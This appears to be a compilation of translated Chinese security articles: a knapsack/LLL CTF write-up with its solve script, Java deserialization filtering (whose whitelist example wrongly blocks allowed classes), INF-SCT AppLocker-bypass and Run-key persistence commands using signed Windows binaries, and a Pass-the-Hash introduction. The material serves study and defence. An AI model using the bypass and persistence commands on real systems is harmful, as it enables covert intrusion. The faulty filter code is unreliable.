Alice要加密了，她先用她的A和她的超递增序列生成一个新的序列M，其中Mi ≡ A·ri mod B
这个新的序列就是Alice的公钥了，她把这个序列甩给Bob，然后Bob按照之前描述的方式，用这个序列和他的明文生成密文S = x·M =
sum{xi·Mi} ，
然后把这传给Alice
### decryption
Alice要解密了，她拿到了这个密文S，然后计算
所以这个S’就是密文在超递增序列下的值了，之后再像之前那样判断一下这个S’和序列里面每一项的关系就能解出明文了。【记得从序列大的一端开始判断，如果满足关系别忘了减掉那一项再判断下一项】
伪代码走一波
for i in reverse(r):
if s >= i:
m = '1' + m
s -= i
else:
m = '0' + m
### table
来个总体流程
### attention
同RSA一样，这里对参数的选择也要慎重，不然会出现许多出人意料的问题。
具体实例可参考[BJD3rd-knapsack](https://www.anquanke.com/post/id/206493#h3-11)
这里由于对参数A的不当选择，导致序列中较小的项乘以A后并没有被B模掉，也就导致了参数A的泄露。
并且由于这里的超递增序列的生成规则过于简单，只是不断地整除2，所以攻击者能够利用加密后的序列轻易的计算出B来。
### further more
之前提到Alice最开始整的一个无序的序列，由于这玩意儿没有陷门(trapdoor)，因此这无法成为一个密码系统。但自从有关LLL的paper发表后，基于背包的密码系统出现了一个大weakness，
这里简短的介绍下Eve怎么去解决这个无序序列的背包问题。不管是序列本身无序，还是超递增序列加密后显得无序的序列。
Eve先构造了一个矩阵
其中这个m1,m2,m3…就是那个无序序列，S就是密文
然后Eve从这个矩阵中，将每一条行向量划分出来，分别为V1,V2,…,Vn,Vn+1
我们现在假设向量x = (x1,x2,x3,…,xn) 是明文，(xi = 0 or 1)
那么这个格中就会有这么一条向量
这个t，因为2xi – 1 = ±1，所以t的模长是 √n，
根据Minkowskl’s First Theorem,
即对于任意n维满秩格基，都有
显然t是格L中的短向量。
所以，如果Eve知道如何找到lattice中的短向量，那么他就可以完成破解了。
关于找到lattice中短向量的算法我们称之为reduction algorithm，最著名的就是LLL algorithm了，然后它还有变体LLL-BKZ。
### variant
再刚过去不久的2020RCTF中出现了一道有关knapsack problem 的变体，这里用的不是子集之和，而是子集之积
from Cryptodome.Util.number import bytes_to_long, getPrime
import random
import hashlib
sr = random.SystemRandom()
p = getPrime(120)
num = [sr.randint(1,p-1) for i in range(90)]
secret = sr.randint(0, 2**90)
r = 1
for i in range(90):
if (secret >> i) & 1:
r *= num[i]
r %= p
flag = open("flag.txt","rb").read()
h = hashlib.sha256(str(secret).encode('utf-8')).digest()
print(p)
print(num)
print(r)
print(bytes_to_long(h)^bytes_to_long(flag))
蛮力攻击的时间复杂度是2的90次方，即使是中途相遇攻击的时间复杂度也仍然有2的45次方，于此同时还得考虑2的45次方的空间复杂度。
赛后看了国外大佬hellman的[脚本](https://gist.github.com/hellman/73eaee8c5b905b68badba147bfba6287)才明白了本题的解法。
这一道题的切入点就在于模数p，通过不断地nc，直到获得的模数p具有p-1 smooth的性质（为了方便后面解离散对数），
这个时候再找到一个p的原根，然后对所有的数据利用pohlig算法解一个离散对数，就是开一个log，这样这个子集积的问题就能重新变回子集和的问题了。
from sage.all import *
import ast, sys, subprocess
import hashlib
from random import shuffle
from time import time
#不断nc以获取一个具有p-1 smooth性质的模数p
while True:
data = subprocess.check_output("nc 124.156.133.6 22298 </dev/null", shell=True).splitlines()
p = int(data[0])
nums = ast.literal_eval(data[1].decode())
r = int(data[2])
encflag = int(data[3])
fp1 = factor(p-1)
print("p-1 =", fp1)
if all(d < 2**50 for d, e in fp1): #判断模数是否具有p-1 smooth的性质
break
print("too high factor of p-1")
# 解离散对数问题 -> 将子集积问题转化问子集和
F = GF(p)
g = F.primitive_element() #获取原根g
es = []
for num in nums:
e = F(num).log(g) #以原根为底数开log，因为循环群中所有的数都能以原根的整数幂次来表示
print(num, "->", e)
es.append(e)
r = F(r).log(g)
nums = es
mod = p - 1
#利用LLL解决0-1背包问题
N = 90
nums0 = nums[::]
BS = 30
itr = 0
while True:
itr += 1
print(itr, "BS", BS)
t0 = time()
nums = nums0[::]
shuffle(nums)
h = QQ(1)/2
# n1 1 0 0 0 0
# n2 0 1 0 0 0
# n3 0 0 1 0 0
# n4 0 0 0 1 0
# r h h h h h
# mod 0 0 0 0 0
m = matrix(QQ, N+2, N+2)
m.set_column(0, nums + [r, mod])
m.set_row(N, [r] + [h] * (N+1))
m[:N,1:N+1] = identity_matrix(N)
m.set_column(0, 50*m.column(0))
ml = (m*2).change_ring(ZZ).BKZ(block_size=BS)
print("time %.3fs" % (time() - t0))
for irow, row in enumerate(ml):
if not (-1 <= min(row[:-1]) < max(row[:-1]) <= 1):
continue
if row[-1] < 0:
row = -row
print("GOOD", irow)
secret = 0
for i in range(N):
if row[1+i] < 0:
secret |= 1 << nums0.index(nums[i])
print("secret", secret, "=", hex(secret))
h = hashlib.sha256(str(secret).encode('utf-8')).digest()
h = int.from_bytes(h, "big")
flag = encflag ^ h
print(int(flag).to_bytes(100, "big").strip(b"x00"))
quit()
# RCTF{M4th_0f_MuLLLtiplication_2333} | 社区文章 |
翻译自： <https://access.redhat.com/blogs/766093/posts/3135411>
翻译： 聂心明
Java反序列化漏洞已经是过去两年安全圈里面最热的流行词了，因为每一个使用原始java序列化的框架都会受到反序列化攻击。一开始，还有很多不同的方法去试图解决这个问题的。（
<https://github.com/kantega/notsoserial> ，<https://github.com/Contrast-Security-OSS/contrast-rO0> ， <https://github.com/mbechler/serianalyzer>
）。这篇文章着重讲java反序列化漏洞和解释oracle在最新的jdk中提供了怎样的缓解措施。
# 背景
让我们回顾java反序列化的进程。java序列化 （
<https://docs.oracle.com/javase/7/docs/platform/serialization/spec/serialTOC.html>
) 是Java内置的功能，这个功能可以把java对象转换成二进制数据，也可以把二进制数据转换成对象。通过调用serialization
把对象转换成二进制数据，通过调用deserialization把二进制数据转换成java对象。在企业环境中，能直接存储和恢复对象的状态是构建分布式系统的关键因素。比如，JMS消息队列系统
（ <https://en.wikipedia.org/wiki/Java_Message_Service> ）
通过序列化把流对象数据通过通信线路送到目的地。 RESTful （
<https://docs.oracle.com/javaee/6/tutorial/doc/gijqy.html> ） 客户端应用可能通过序列化把
OAuth token （ <https://www.oauth.com/oauth2-servers/access-tokens/> ）
对象存储在硬盘上，以便做进一步的身份验证。java的远程方法调用JMI ，（
<https://docs.oracle.com/javase/7/docs/platform/rmi/spec/rmiTOC.html>
）在JVM之间直接使用序列化互相通信。除了这些还有其他使用序列化的例子。
# 检查流
当应用代码触反序列化的时候， ObjectInputStream （
<https://docs.oracle.com/javase/8/docs/api/java/io/ObjectInputStream.html>
）将对象流数据初始化为对象。ObjectInputStream
确保恢复已序列化的对象。在这个过程中，ObjectInputStream将字节流与JVM类路径中可用的类进行匹配。
# 所以发生了什么问题？
在反序列化过程中，当readObject()把二进制数据转换成对象结构的时候，它会寻找序列化流中
与对象类型相关的魔术字节,这些对象类型通常被写入流中，或者是那些已被定义的类型（比如：enum, array,
String，等）。在处理流数据时，上面提到的对象类型需要被解析，如果对象类型无法被解析，这种类型就会被解析成为一般类型TC_OBJECT （
<https://docs.oracle.com/javase/7/docs/api/java/io/ObjectStreamConstants.html#TC_OBJECT>
），最终，二进制数据流中所携带的对象将从JVM类路径中恢复，如果没有找到相关的类，就会报错。
问题出现的地方是，给readObject()提供一个字节流，此字节流可以被构造成特殊的类，这个类存在于JVM的类路径中，并且可以被使用，这篇文章列举了已知的利用链，这些利用链可以造成远程命令执行。所以有大量的类
（ <https://github.com/kantega/notsoserial>
）被认为有rce漏洞。并且，安全研究员不断发现有此类漏洞的类。现在你可能会问，怎么有这么多类用于rce？依靠这些原始类就可以构造特定恶意的类，从而实现攻击，这些恶意的类被序列化并且这些数据在各个点被交换，被解析，被执行。实现攻击的技巧是JDK信任二进制数据流，payload通过有效的初始化类来反序列化。这样构造payload就会造成毁灭性的后果。
当然攻击者就可以通过输入二进制流来达到攻击的目的，其中的详细信息超出了本文的范围。要想得到更详细的信息可以参考ysoserial （
<https://github.com/frohoff/ysoserial> ） 这个工具，这大概是生成payload最好的工具了吧。
# 怎样缓解反序列化攻击
轻率的说，通过实现 LookAheadObjectInputStream （
<https://www.owasp.org/index.php/Deserialization_Cheat_Sheet#Guidance_on_Deserializing_Objects_Safely>
） 策略就可以完全缓解反序列化漏洞。缓解的实现方法是写一个ObjectInputStream 的子类，这个子类要重写 resolveClass() （
<https://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass(java.io.ObjectStreamClass>)
），并在这个方法中验证一个类是否能被加载。这个方法看上去能有效地缓解反序列化漏洞，最常见的两种实现方法是白名单和黑名单 （
<https://www.schneier.com/blog/archives/2011/01/whitelisting_vs.html> ）
。在白名单中，只能让可接受的类被反序列化解析，其他的类会被阻止。黑名单则是收集已知会造成问题的类，然后把它们全部阻止。
白名单和黑名单都有自己的优点和缺点，但是我认为基于白名单的实现方法能更好的缓解反序列化漏洞，它能有效的识别那些安全的输入，这种做法也是安全实践的一部分。另一个方面，基于黑名单的方式很容易让名单变的越来越大，而且黑名单还会有覆盖不全和被绕过的情况。
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
String name = desc.getName();
if(isBlacklisted(name) ) {
throw new SecurityException("Deserialization is blocked for security reasons");
}
if(isWhitelisted(name) ) {
throw new SecurityException("Deserialization is blocked for security reasons");
}
return super.resolveClass(desc);
}
# jdk中新的反序列化过滤方案
尽管有一些特别的实现来缓解反序列化漏洞带来的影响，但是关于如何解决这样的问题，官方的规范依然很匮乏。为了解决这个问题，Oracle 最近引进
serialization filtering （ <http://openjdk.java.net/jeps/290>
）来提高反序列化的安全性，它似乎结合了黑名单和白名单两种方式。新的反序列化过滤器被集成在JDK 9之中，然鹅，这个特性已经被移植到更老的JDK之中了。
核心原理是，反序列化过滤基于 ObjectInputFilter （
<https://docs.oracle.com/javase/9/docs/api/java/io/ObjectInputFilter.html>
）接口，这个接口提供一种配置能力，目的是在反序列化过程中验证输入的数据。通过ObjectInputFilter接口参数： Status.ALLOWED （
<http://download.java.net/java/jdk9/docs/api/java/io/ObjectInputFilter.Status.html#ALLOWED>
）， Status.REJECTED （
<http://download.java.net/java/jdk9/docs/api/java/io/ObjectInputFilter.Status.html#REJECTED>
）或者 Status.UNDECIDED （
<http://download.java.net/java/jdk9/docs/api/java/io/ObjectInputFilter.Status.html#UNDECIDED>
）
去检查输入数据的状态。依靠反序列化脚本可以配置这些参数，比如，如果想用黑名单的形式，那么遇到一些特殊的类就要返回Status.REJECTED，并且如果返回Status.UNDECIDED的话，就是允许反序列化。另外一方面，如果想用白名单的形式，那么当返回Status.ALLOWED的时候，就代表匹配到了白名单里面的类。此外，过滤器也被允许访问一些反序列化数据中的一些其他信息，比如，在反序列化过程中类数组中数组的长度
arrayLength （
<https://docs.oracle.com/javase/9/docs/api/java/io/ObjectInputFilter.FilterInfo.html#arrayLength-->
），每一个内置对象的深度 depth （
<https://docs.oracle.com/javase/9/docs/api/java/io/ObjectInputFilter.FilterInfo.html#depth-->
），当前对象的引用数量 references （
<https://docs.oracle.com/javase/9/docs/api/java/io/ObjectInputFilter.FilterInfo.html#references-->
），当前二进制流占用空间的大小 streamBytes （
<https://docs.oracle.com/javase/9/docs/api/java/io/ObjectInputFilter.FilterInfo.html#streamBytes-->
）。这些提供了关于输入流更多的细粒度信息，并且在每一次匹配中都会返回相应的状态。
# 如何配置过滤器
jdk 9 支持三种方式配置过滤器： custom filter （ <http://openjdk.java.net/jeps/290> ），
也可以使用process-wide filter （ <http://openjdk.java.net/jeps/290> ）
配置全局的过滤器，built-in filters （
<http://www.oracle.com/technetwork/java/javase/8u121-relnotes-3315208.html> ）
专门用于RMI，现在习惯用 Distributed Garbage Collection (DGC) （
<https://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-arch4.html> ）
# 基于场景的过滤器
当自己的反序列化的场景和普通场景的反序列化方式不同时，那么自定义过滤器（custom
filter）这个方案就非常合适。通常通过实现ObjectInputFilter 接口和重写checkInput函数来创建自定义过滤器。
static class VehicleFilter implements ObjectInputFilter {
final Class<?> clazz = Vehicle.class;
final long arrayLength = -1L;
final long totalObjectRefs = 1L;
final long depth = 1l;
final long streamBytes = 95L;
public Status checkInput(FilterInfo filterInfo) {
if (filterInfo.arrayLength() < this.arrayLength || filterInfo.arrayLength() > this.arrayLength
|| filterInfo.references() < this.totalObjectRefs || filterInfo.references() > this.totalObjectRefs
|| filterInfo.depth() < this.depth || filterInfo.depth() > this.depth || filterInfo.streamBytes() < this.streamBytes
|| filterInfo.streamBytes() > this.streamBytes) {
return Status.REJECTED;
}
if (filterInfo.serialClass() == null) {
return Status.UNDECIDED;
}
if (filterInfo.serialClass() != null && filterInfo.serialClass() == this.clazz) {
return Status.ALLOWED;
} else {
return Status.REJECTED;
}
}
}
jdk 9 还在ObjectInputStream 类中添加两个函数，目的是让过滤器能set/get当前的数据流。
public class ObjectInputStream
extends InputStream implements ObjectInput, ObjectStreamConstants {
private ObjectInputFilter serialFilter;
...
public final ObjectInputFilter getObjectInputFilter() {
return serialFilter;
}
public final void setObjectInputFilter(ObjectInputFilter filter) {
...
this.serialFilter = filter;
}
...
}
与jdk 9 相反，JDK 8最新的版本（ 1.8.0_144 ）
似乎只允许使用ObjectInputFilter.Config.setObjectInputFilter来设置过滤器。
# Process-wide （全局）过滤器
通过设置 jdk.serialFilter （
<https://docs.oracle.com/javase/9/docs/api/java/io/ObjectInputFilter.Config.html>
） 来配置Process-wide过滤器，这样的配置也可以作为系统属性（
<https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html> ）
或者 安全属性 （
<http://docs.oracle.com/javase/7/docs/technotes/guides/security/PolicyFiles.html>
）。如果系统属性被定义，那么它常常配置的是过滤器；否则，过滤器就要根据安全属性（比如：jdk1.8.0_144/jre/lib/security/java.security
）来配置过滤器了。
jdk.serialFilter的值作为过滤规则，过滤器通过检查类的名字或者限制输入二进制流的内容来达到过滤的目的。可以用逗号和空格来分割过滤规则。数据流在被检查之前会被过滤，过滤器会忽略配置的顺序。下面是过滤器的一般配置示例
- maxdepth=value // the maximum depth of a graph
- maxrefs=value // the maximum number of the internal references
- maxbytes=value // the maximum number of bytes in the input stream
- maxarray=value // the maximum array size allowed
其他的规律也会匹配由Class.getName()返回的类名和包名。类名和包名的规则也接受星号（*），双星号（ ** ），句号 （ . ) 和斜杠 （ /
）。下面是一些可能发生的场景
// this matches a specific class and rejects the rest
"jdk.serialFilter=org.example.Vehicle;!*"
// this matches all classes in the package and all subpackages and rejects the rest
- "jdk.serialFilter=org.example.**;!*"
// this matches all classes in the package and rejects the rest
- "jdk.serialFilter=org.example.*;!*"
// this matches any class with the pattern as a prefix
- "jdk.serialFilter=*;
# 内置过滤器
jdk 9 也引进了一个内置的过滤器，配置这个过滤器主要用于RMI和Distributed Garbage Collection (DGC) 。RMI
Registry 和 DGC的内置过滤器是白名单的形式，白名单包含了服务器能够执行的类。下面是 RMIRegistryImpl 和 DGCImp的白名单类
## RMIRegistryImpl
java.lang.Number
java.rmi.Remote
java.lang.reflect.Proxy
sun.rmi.server.UnicastRef
sun.rmi.server.RMIClientSocketFactory
sun.rmi.server.RMIServerSocketFactory
java.rmi.activation.ActivationID
java.rmi.server.UID
## DGCImpl
java.rmi.server.ObjID
java.rmi.server.UID
java.rmi.dgc.VMID
java.rmi.dgc.Lease
除了这些类，用户也可以用sun.rmi.registry.registryFilter和sun.rmi.transport.dgcFilter
添加自己的过滤器，系统和安全属性的配置和上文所提到的配置是一致的。
# 结语
然而，java反序列化不是它自己的漏洞，使用序列化框架反序列化不信任的数据才是问题所在。这两点的不同非常重要，因为后者是因为糟糕的程序设计而引入的漏洞，而不是java本身的问题。在JEP
290 （ <http://openjdk.java.net/jeps/290>
）之前的反序列化框架，根本不会验证对象的合法性。而且现在有大量的方法去缓和反序列化漏洞，在JDK本身中没有具体的规范来处理这个缺陷。但是在新版的JEP
290中，Oracle引入了新的过滤机制，这个机制允许开发人员结合自己的应用场景来配置自己的过滤器。新的过滤机制似乎能更容易的缓解反序列化那些不被信任的输入数据所带来的问题。 | 社区文章 |
# 利用INF-SCT获取并进行绕过、规避和持久化技术
|
##### 译文声明
本文是翻译文章，文章原作者 BOHOPS，文章来源：bohops.com
原文地址：<https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
两周前，我发布了几个利用INF文件（.inf）来“获取并执行”远程脚本组件文件（.sct）的“pass-thru”技术。通常，这些方法的实例可能会被滥用，以绕过应用程序白名单（AWL）策略（例如，默认的AppLocker策略），从而阻止基于主机的安全产品，以一种隐蔽的方式来保证持久性。此外，本文还关注了一些其他“获取与执行”技术，并提出了关于防御方式的一些观点。我们建议在阅读本文之前，先回顾第一部分（
<https://bohops.com/2018/02/26/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence/> ）。在介绍本文中的INF-SCT方法之前，我们会重新讨论一些前面的主题：
InfDefaultInstall
IExpress
IEadvpack.dll (LaunchINFSection)
IE4uinit
## 回顾Setupapi.dll (InstallHinfSection)和Advpack.dll (LaunchINFSection)
### Setupapi.dll (InstallHinfSection) – InfDefaultInstall.exe
在2017年DerbyCon主题为“逃避自动运行”的演讲（ <https://github.com/huntresslabs/evading-autoruns/blob/master/Evading_Autoruns_Slides.pdf>
）中，来自HuntressLab的KyleHanslovan和ChrisBisnett展示了几种INF-SCT技术。我认为其中的Setupapi.dll
(InstallHinfSection)可以用于此类调用，但是我并没有提及他们发现的InfDefaultInstall，因此我就与他们的研究方向相偏离。借助于这个二进制文件，我们可以通过以下的基本命令来实现INF-SCT有效载荷的执行：
infdefaultinstall.exe [path to file.inf]
如下面截屏所示，该命令执行后，我们的有效载荷calc.exe（计算器程序）被成功启动，同时在测试过程中弹出了一个错误消息：
我们运行SysInternals
Strings，对InfDefaultInstall进行了快速分析。结果表明，这个二进制文件依赖于调用Setupapi.dll和InstallHinfSection的字符集兼容性变体来实现执行操作：
### Advpack.dll (LaunchINFSection) – CMSTP.exe
在上一篇文战中，我们讨论了使用NickTyrer的CMSTP方法和Advpack.dll (LaunchINFSection)方法来执行INF-SCT。这两种方法密切相关，如下面截图所示，展现的是使用Strings进行CMSTP分析的过程：
在其背后，CMSTP实际上利用了Advpack.dll和LaunchINFSection的变体。
## 使用IEexpress、IEadvpack.dll (LaunchINFSection) 和IE4uinit的INF-SCT执行
### IEexpress
IExpress.exe是一个用于创建自解压安装包的实用工具，自Windows
2000以来一直捆绑在Windows之中。通过我们的查看，该工具仍然存在于Windows 10和Windows 2016中。
IExpress可以作为（带有开关的）命令行工具被调用，也可以以逐步向导的形式独立启动。
有趣的是，IExpress可以将一个INF文件（包含适当的指令以调用SCT）添加到用于打包的文件列表中。在逐步向导完成后，创建子解压缩的伪指令（SED）文件和生成的压缩可执行文件（在这里，是否生成SED文件是可选的）。通过命令行或GUI调用可执行文件，将会启动捆绑的INF用于有效载荷传递，如下面截图所示：
在命令行模式下，IExpress可以使用正确配置的SED，创建相同的可执行文件：
iexpress.exe /n [path to file.sed]
*注意：由IExpress.exe创建的有效载荷可执行文件都是未签名的。
### IEadvpack.dll (LaunchINFSection)
在搜索感兴趣的DLL函数过程中，我发现有重复的LaunchINFSection条目。正如在我们之前文章中所分析的那样，这是使用rundll32/advpack.dll调用的函数。就在这个时候，我发现了IEadvpack.dll：
借助于已经掌握的知识，我用非常相似的命令对这一发现进行了测试：
rundll32.exe ieadvpack.dll,LaunchINFSection test.inf,,1,
不出我们的所料，最终INF-SCT成功执行。
*注意：与Advpack.dll一样，IEadvpack.dll/LaunchINFSection可以绕过默认的AppLocker规则。
### IE4uinit
受InfDefaultInstall和CMSTP“字符串分析”的启发，我决定中遍历Windows二进制文件，搜索“IEadvpack”：
在结果中，我发现了一个名为ie4uinit.exe的有趣二进制文件。通过Google搜索，我找到了这个MSDN页面（
<https://blogs.msdn.microsoft.com/askie/2012/09/13/things-to-do-when-troubleshooting-internet-explorer-terminal-server-and-profiles-issues/>
）。该文章指出，IE4Uinit是与Active
Setup配合使用，并且在登陆过程中首次创建用户配置文件（或者每次强制配置文件）时运行。此外，还存在几个命令开关，如下面截图所示：
运行SysInternals Strings后，我发现IE4uinit调用一个名为ieuinit.inf的INF文件：
ieuinit.inf的实例保存在System32和SysWOW64目录下。需要特别说明的是，如果没有正确的权限（和一些命令行操作技巧），这些文件通常都不能被编辑。然而，我们可以通过一些方法来解决这一问题：
1、至少在我们字符串分析过程的上下文中，不存在到ieuinit.inf的完整/静态路径。这也就意味着，我们可以调用ieuinit.inf的一个实例，只要它与ie4uinit.exe的一个实例在同一目录即可。
2、即使作为非特权用户，我们也可以轻松将这些文件从System32目录中复制出来，在用户可写入的目录中编辑所需的INF文件，然后测试SCT有效载荷的执行情况。
接下来，让我们将这些文件复制到工作目录，并更新相应的INF文件：
在这个示例中，导入的INF指令会调用一个标记为DefaultInstall.Windows7的部分，该部分启动MSIE4RegisterOCX.Windows7。这就是我们添加scrobj.dll/SCT
URL有效载荷的位置：
接下来，让我们尝试使用在MSDN博客中看到的一个用于调用有效载荷的开关——ie4uinit.exe –BaseSettings：
该尝试成功，我们目前就可以成功执行有效载荷。在下一节中，我们来详细介绍这一方面。
*注意：在跨平台测试的过程中，我发现我有一台机器无法在MSIE4RegisterOCX.Windows7段中调用该脚本。在使用scrobj.dll/SCT条目添加了新段 (FunRun)后，我修改了DefaultInstall.Windows7段，并添加了UnregisterOCXs以指向FunRun段。事实证明，端到端的调用时成功的。如果有人在尝试测试此方法过程中出现问题，那么可以按照如上步骤进行。造成这一问题的根源尚不确定。
## IE4uinit的逃避和持久性
为了更好地进行尝试（和欺骗），我们可以将相应的文件复制到C:WindowsTasks，因为默认情况下任何经过身份验证的目录都可以对该目录执行写入操作。现在，我们通过为IE4uinit创建一个运行密钥，来进行持久性和逃避的概念验证联系（在AutoRuns情景中）：
打开AutoRuns程序并删除Hide Windows Entries过滤器后，我们便可以深入到Run Key条目：
IE4uinit是一个签名的Microsoft Windows二进制文件，C:windowsTasks是一个特殊的目录（特别是在选择了Schedule
Task的情况下）。最重要的是，即使删除了Windows条目筛选器，也无法发现修改后的INF（带有SCT有效载荷）存在。再重新登录到主机之后，SCT有效载荷将会启动calc.exe（例如我在Windows
10 Surface Pro平板电脑上所演示的）：
## 防御方式
在此前文章中提及的防御方式仍然适用。请注意，INF属性（指令、头部名称等）以及文件名都可能会被修改为有迷惑性的内容。
从监测的角度来看，我们深入讨论“AutoRuns分析”，并重点留意错误的二进制文件，是因为二进制的签名不能代表一切，我们必须观察命令的开关、参数以及目录路径。
同时，也可以使用强制执行应用程序白名单（AWL）策略。一旦超过了默认规则，那么就应该减少敏感文件中弱目录的权限。
InvalidOperator指出，IExpress二进制文件可能会在执行时写入Run或RunOnce键，这一特性可能有助于IOC监测。
## 结论
感谢各位读者认真阅读本篇文章。在下一部分中，我们将重点介绍Microsoft
AWL技术，同时也会涉及到其他一些话题。如果各位读者有任何疑问、意见或反馈，请随时与我们联系。 | 社区文章 |
### 概述
这篇Paper深入研究了 Windows 10下的Pass-the-Hash攻击：
本文分析了PtH攻击在windows 10 v1903环境下的可行性。
本文展示了几种hash提取技术。
本文演示了在哪些情况下攻击者可以使用这些hashes进行身份验证(各种协议下执行PtH攻击的条件和方法)。
本文说明了一个企业可以考虑使用的"安全管控"(security controls)措施，可以最大程度降低PtH攻击的风险。
最终，做了的这些测试证明了PtH攻击仍然是一个真正的威胁，每个企业都需要直面这种风险。
### 意义
* 研究Pass-the-Hash攻击的意义：
* 1.有助于已授权的渗透测试
* 2.有助于企业防御PtH攻击、横向移动
* 3.有助于安全研究人员继续探索
* ...
意义较大，故逐字翻译，带上了注释，以供参考。
Paper: 《Pass-the-Hash in Windows 10》
Author: Lukasz Cyra,
Advisor: Sally Vandeven
Accepted: September 25, 2019
### 摘要
20多年来，攻击者一直在使用传递散列(Pass-the-Hash, PtH)攻击。
为了防御这种攻击，Windows设计发生了几个变化。这些变化影响了攻击的可行性、攻击工具的有效性。
与此同时攻击技术也在提高，出现了新的PtH攻击方法。
所以会有几个问题：
Windows具体环境下，怎么样能够PtH攻击成功？
Windows具体环境下，什么样的配置是脆弱的？
...
本Paper研究了各种方法的哈希提取、各种方法执行PtH攻击（列出攻击的先决条件）、PtH防御建议。
文章最后，本文使用`windows 10 v1903`展示了PtH对Windows具体环境造成的风险等级。
### 1.介绍
说明写本文的背景、以及写本文的目的。
背景：
攻击者通常在获得Windows机器的管理员访问权限后，首先要做的事情之一就是提取密码hashes。他们可以使用这些hashes进行离线分析，甚至在"传递散列"(Pass-the-Hash,PtH)攻击中直接访问系统。20多年来，攻击者一直在使用这种技术来促进横向移动(Ewaida, 2010)。
与"hash提取"、"PtH攻击"相关的安全风险是众所周知的。微软一直试图通过Windows的安全升级来提高攻击的难度，其中最近最值得注意的变化是用AES
(Deneut, 2018)替换了RC4encryption，并引入了Credential Guard(Joyce,
2019a)。这些变化使得窃取凭证的老方法无效，甚至有从业者提出了“PtH攻击结束”(Green, 2017)。
[Windows 10 Authentication: The End of Pass the
Hash?](https://www.varonis.com/blog/windows-10-authentication-the-end-of-pass-the-hash/)
与此同时，攻击技术也在不断发展。新颖、巧妙的攻击方法也被设计出来，如内心独白"Internal Monologue" (Fortuna,
2018)，带来了新的安全风险。
* 所以有这些问题：
* 1. **具体管控措施不明** \- 人们对管控措施(防御措施)本身产生了许多困惑。在Windows 10的各种版本中，哪些是可行的，哪些是不可行的；以及流行的攻击工具是否仍然有效，这些问题往往没人研究清楚。
* 2. **被错误信息误导** \- 好多地方提供了误导、过时、不正确的信息(Strand, 2018b)，不适用于当代系统的信息(Ewaida, 2010)。
* 3. **系统更迭** \- 随着微软对Windows 7支持的快速终结，基于Windows的企业正在将桌面环境迁移到Windows 10。这些企业需要获得有关Windows 10安全的"可靠信息"，当然其中包括有关PtH攻击的信息。
最终，为了学习这门“PtH攻防”学科，一个人至少需要几个小时的学习和实验。如果借助了碎片化和不可靠的信息来源，还需要再次实际测试去验证。
所以本文的目的是，用实际测试来验证，确认"PtH to Windows 10"可造成的风险。
### 2\. Pass-the-Hash Theory
#### 2.1 Paper Scope
论文范围。
本文假设攻击者已经获得了对主机的远程访问，并试图提取用户多个凭证的hashes，以便于进行横向移动。
在此假设下，本文排除了多种已知的攻击技术：
1.排除“物理攻击”，通过物理访问进行hash提取超出了本文的范围。这同样适用于从损坏的域控制器中提取散列。
2.排除提取“凭证管理器”，本文不考虑从Windows Credential Manager中提取凭据，而是明确地关注用于登录操作系统的密码hashes。
* 本文只关注3种hashes:
* NT hashes (也称为 NTLM hashes)
* NTLMv1 hashes(也称为Net-NTLMv1 hashes)
* NTLMv2 hashes (也称为Net-NTLMv2 hashes)
**为什么关注NT hashes ?**
主机是以NT hashes的形式存储OS凭证的(见 Section 4 )。Windows 10使用NT hashes，所以在本文的研究范围内。
**为什么关注NTLMv1 hashes 和 NTLMv2 hashes ?**
身份验证协议(Authentication protocols)，特别是NTLMv1和NTLMv2，不会在网络上传递NT hashes，而是传递来自于NT
hashes的值(pass values derived from the NT hashes)，分别称为NTLMv1 hashes和NTLMv2
hashes。
各自分别地来看：
* **NTLMv1 hashes** \- Windows 10环境默认不支持NTLMv1 (Shamir, 2018)。但是，在某些攻击中，可以启用NTLMv1 hashes，因此需要考虑NTLMv1 hashes。
* **NTLMv2 hashes** \- 在大多数网络中，NTLMv2是启用的，因此本文将考虑NTLMv2 hashes。
* "工作组配置"(workgroup configuration)中的现代网络使用NTLMv2 (Gombos, 2018)。
* 基于域的环境默认也支持NTLMv2 hashes (微软，2017)。
* Kerberos专有环境仍然很少，因为它们可能存在兼容性问题(Renard, 2017)。
* * *
**为什么本文没有关注以下类型的hashes ？**
LM hashes - 是在Windows中存储登录凭证的一种较老的方法，它没有被本文考虑在内。
当使用默认设置时，LM hashes不会存储在Windows 10计算机上(Strand, 2018a)。不过，通过GPO([Group Policy
Objects](https://docs.microsoft.com/en-us/previous-versions/windows/desktop/policy/group-policy-objects))设置来启用LM
hashes是可能的(Gombos, 2018)。
SHA1/SHA2 hashes和MSCach2(即DCC2) hashes - PtH攻击不适用于SHA1/SHA2 (Delaunay,
2017)和MSCach2 (Lundeen, 2014)。
MD5 hashes - 不考虑WDigest身份验证中使用的MD5 hashes，因为Windows 10在默认情况下不使用WDigest (Joyce,
2019b)。
#### 2.2. Hashing Algorithms
如Figure 1所示，从明文密码生成NT hash这一过程，需要将MD4散列函数应用于密码的UTF-16小端序编码(Gombos, 2018)。
注：小端序(LE,Little Endian)
NT_Hash(password) = MD4(UTF-16-LE(password))
NT_Hash("pass1") = "8D7A851DDE3E7BED903A41D686CD33BE"
Figure 1 NT Hashing Algorithm and Example
在存储密码时使用salt是一个好习惯。salt是计算一个hash时使用的随机数据块，这使得hash更难破解和重用。必须注意的是，NT散列并没有使用salt。因此，它很容易受到"预计算攻击"(precomputation
attacks):也就是可以有个映射表(如彩虹表)，可以根据hashes快速找到对应的明文密码。此外，相同的密码可以仅基于NT
hashes来识别，不需要破坏加密(breaking the encryption)。值得注意的是，在许多场景中NT
hashes相当于密码本身。它们只允许基于散列信息的身份验证。这种攻击称为散列传递(Pass-the-Hash, PtH)。
参考Figure 2可知， **NTLMv1散列算法步骤** ：
共有2个输入参数
1.密码的NT hash
2.服务器提供的challenge
NTLMv1散列算法将NT散列与5个字节的零(zeros)连接起来，将这个字符串分成3个7字节的密钥(keys)。
这3个密钥(keys)用于使用DES算法对challenge进行加密，得到3个cryptograms，把3个cryptograms串接起来得到NTLMv1散列。
The NTLMv1 hashing algorithm takes as input the NT hash of a password and a
challenge provided by the server. It concatenates the NT hash with five bytes
